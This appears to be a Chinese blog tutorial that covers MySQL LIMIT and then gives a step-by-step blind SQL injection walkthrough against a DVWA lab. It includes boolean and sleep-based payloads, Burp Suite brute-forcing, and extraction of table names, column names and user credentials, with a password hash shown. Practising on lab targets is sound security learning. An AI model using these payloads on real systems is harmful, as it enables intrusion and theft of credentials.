mysql中limit的详细用法
1、用于强制返回指定的记录行数
在查询中,经常要返回前几条或者中间某几行数据时,用到limit
语法如下
select * from table_name limit [offset,] rows

 参数说明:
  offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
  rows:返回具体行数

总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。

哪种情况适合boolean布尔型注入攻击

页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

1)代码层分析

接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database
否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库
里任何内容,如果存在注入,成为盲注入。

 判断盲注入的方法

方法1:布尔型盲注入
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注
入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样 方法2:延时注入
如果输入检测语句页面没有任何改
变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时
返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行

 判断数据库库名长度

要查询当前数据库库名,首先确定要查询的数据库的长度。
1' and if(length(database())=4,1,0)--+

length(database())=4,验证通过

length(database())=4,验证结果“MISSING”

结论:数据库名长度为4

1)数据库名
mysql> select database();
+------------+
| database() |
+------------+
| dvwa |
+------------+
1 row in set (0.00 sec) mysql> 2)数据库的字段名第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d |
+------------------------------------+
1 row in set (0.00 sec) mysql> 3)猜测数据库第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d |
+------------------------------------+
1 row in set (0.00 sec) mysql>

 结合burpsuite猜测数据库全称

url传参:1' and if(substring((select database()),1,1)='d',1,0) --+
http://192.168.1.6/01/vulnerabilities/sqli_blind/?id=1%27%20and%20if(substring((select%20database()),1,1)=%27d%27,1,0)%20--+&Submit=Submit#
1、burpsuite截取结果

2、设置burpsuite变量:

 3、attack结果

由此登出数据库名为dvwa

substring截取数据库表字段,判断数据表名

原理
1)表名
mysql> select substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1);
+--------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1) |
+--------------------------------------------------------------------------------------------------------+
| guestbook           
mysql>

2)表名中的字段
mysql> select substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1,1);
+----------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1,1) |
+----------------------------------------------------------------------------------------------------------+
| g                                                                                                        |
+----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>
3)sql组合
mysql> select * from users where user_id=1 and if(substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='g',1,0);
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /01/hackable/users/admin.jpg | 2020-01-09 16:58:08 | 0 |
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
1 row i
1)url拼接:if(substring((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)='g',1,0)

2)开启代理,burpsuite拦截

3)设置变量,payload中数据库表名长度可默认最大设置为40

共爆出2张数据表

由此结论:共存在两张数据表:guestbook,users

爆出字段名

1)users表的字段
mysql> select column_name from information_schema.columns where table_name='users' and table_schema=database();
+--------------+
| column_name |
+--------------+
| user_id |
| first_name |
| last_name |
| user |
| password |
| avatar |
| last_login |
| failed_login |
+--------------+
8 rows in set (0.00 sec) mysql> 2)猜出首个字段名的第一个字母
mysql>
mysql> select if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0);
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.02 sec) mysql>
url 拼接:1' and if(substring((select column_name from information_schema.columns where  table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) --+

burpsuit后登出字段内容:user ,password

url 拼接:1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
1),1,1)='a',1,0)--+

burpsuite拦截信息,设置变量 ,爆破后登出 user与password

最新文章

  1. 修改加粗cmd和powershell命令行的中文字体
  2. 【Python】一、除法问题及基本操作(逻辑与,if替代switch)及支持中文打印
  3. json-smart 使用示例(推荐fastjson)
  4. HTML的内联元素换行问题
  5. JSON-SCHEMA
  6. lx:这么空!什么叫假大空 xy:那我做给你看
  7. 【转】linux之ln命令
  8. 移动端折腾国外分享(facebook、twitter、linkedin)
  9. The Socket API, Part 3: Concurrent Servers
  10. 【转】android 自定义控件
  11. oracle命中率模型计算
  12. Jest
  13. 深入理解jdk和jre(转)
  14. Tomcat+Eclipse乱码问题解决方法
  15. java第十三次作业
  16. Struts2学习笔记五 拦截器
  17. POJ 1704 Georgia and Bob(阶梯Nim博弈)
  18. Mongodb主从复制/ 副本集/分片集群介绍
  19. 【洛谷P3469】BLO
  20. 7-通用GPIO

热门文章

  1. 把Excel自动转换Json格式
  2. slate源码解析(一)- 序言
  3. linux备份系统
  4. echar 多个图形显示时,点击显示隐藏然后样式缺失,变得非常小
  5. rem自动计算
  6. WPF BasedOn 自定义样式 例:ComboBox 组合框
  7. pytorch学习笔记四之训练分类器
  8. LeetCode-19 删除链表倒数第N个结点
  9. 从0搭建Vue3组件库(三): 组件库的环境配置
  10. unity 音频曲线